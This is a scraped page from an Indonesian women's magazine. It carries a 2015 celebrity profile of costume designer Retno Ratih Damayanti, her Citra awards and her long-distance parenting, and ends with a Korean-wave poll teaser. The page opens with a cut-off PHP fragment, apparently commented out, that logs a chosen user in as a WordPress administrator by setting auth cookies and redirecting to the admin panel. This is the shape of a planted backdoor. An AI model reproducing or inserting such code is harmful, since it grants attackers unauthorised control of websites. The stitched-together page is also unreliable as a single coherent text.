user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Celebrity
Keluarga Jauh Di Mata

10 Mar 2015

Sejak pertama kali diselenggarakan, pada tahun 1955, baru dua tahun belakangan muncul penghargaan untuk penata busana terbaik. Dua kali berturut-turut penghargaan piala Citra itu jatuh pada Retno Ratih Damayanti (42) untuk kreativitas dan kerja kerasnya dalam film Habibie & Ainun (2013) dan Soekarno (2014). Kepada femina, ia menuturkan susah payah perjalanan profesional yang harus dilaluinya untuk tiba di titik pencapaian ini.

Jauh Di Mata, Dekat Di Hati
Bekerja di dunia perfilman membuat ritme hidupnya tak jauh beda dengan para kru film yang lain. Sering kali ia harus berada di lokasi syuting hingga berbulan-bulan. Ia sadar ini adalah salah satu konsekuensi yang harus diambilnya, yaitu berkurangnya waktu untuk bisa berkumpul bersama suami dan anaknya.

“Sedikit banyak pasti muncul persoalan. Tapi, saya pikir persoalan rumah tangga bisa muncul dari situasi apa pun, bahkan pada keluarga yang selalu ngumpul,” ujarnya. Ia optimistis rumah tangganya akan baik-baik saja. Ia bersyukur, Triyoga Yudha Asmara, suaminya, yang berprofesi sebagai sutradara di sebuah stasiun televisi bisa memahami ritme kerjanya.

Sama-sama sibuk di lokasi syuting, Eno dan sang suami sepakat untuk memercayakan pengasuhan putri mereka, Ashima (7), kepada ayah Eno di Yogyakarta, sementara itu  ia dan suaminya berkarier di Jakarta. “Mama bekerja seperti orang lain, tapi jaraknya saja yang lebih jauh,” ungkap Eno, saat berusaha memberikan pengertian kepada Ashima.

Sebagai ibu, sebenarnya ia berat hati harus berjauhan dengan putri semata wayangnya. Pada saat-saat tidak syuting di Jakarta, Eno dan suaminya akan pulang untuk menghabiskan waktu bersama putri mereka. Tidak jarang Eno juga mendapat proyek film yang beberapa di antaranya mengambil lokasi syuting di Yogyakarta, seperti Soekarno, Sang Pencerah, dan H.O.S. Tjokroaminoto.

Komunikasi dengan sang buah hati juga berlangsung cukup intensif melalui telepon. Setidaknya tiga kali dalam sehari ia menyempatkan waktu untuk mengobrol bersama Ashima. Apakah itu sekadar menanyakan kabar kondisi Ashima, mengingatkan untuk makan, hingga membantu mengerjakan pekerjaan rumah sekolahnya.
Advertisement

Meski sering merasa kangen kepada ayah-ibunya, Ashima tumbuh menjadi anak yang berusaha memahami kondisi kedua orang tuanya. Bahkan, terbilang cukup santai dalam menyikapi hubungan jarak jauh orang tua dan anak ini. Kerinduannya cepat teralihkan saat bermain bersama para sepupunya yang sebagian besar juga tinggal di Yogyakarta.
Bulan Desember menjadi saatnya mengambil ‘cuti besar’ untuk merayakan Natal bersama keluarga besarnya di Yogyakarta dan menghabiskan waktu eksklusif bersama Ashima, yang juga berulang tahun di bulan itu.

“Saya bersyukur, kedua orang tua saya cukup moderat. Mereka memahami pilihan karier yang saya buat. Dukungan ini terlihat dari kesungguhan hati mereka dalam ikut mengasuh dan membesarkan Ashima selama saya dan suami berkarya di Jakarta,” ungkap Eno.
Meski demikian, Eno tidak menampik bahwa dulu keinginannya untuk berkarya di dunia kesenian sempat menuai keraguan dari orang tuanya. Kini, ia bahagia impiannya satu per satu mulai menjadi nyata. Salah satunya dilambangkan dengan kehadiran piala Citra pertamanya yang terpajang di rumah kedua orang tuanya.

“Dulu saya sempat dimarahi, tapi saya mencoba setia dan membuktikan apa yang selama ini diperjuangkan,” ujarnya, dengan nada bahagia. Masih banyak impian lain yang ingin ia wujudkan, antara lain menulis buku dan membuat semacam museum sebagai pusat rujukan yang dapat diakses oleh orang awam.

“Saya orang yang banyak maunya. Saya ingin membuat buku tentang kostum di film. Selain untuk berbagi pengetahuan, buku ini nantinya akan menjadi dokumentasi pekerjaan saya,” ujarnya. Sebab, ia sendiri mengalami kesulitan melakukan riset sejarah, hingga harus terbang ke Belanda.(Nuri Fajriati)




 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?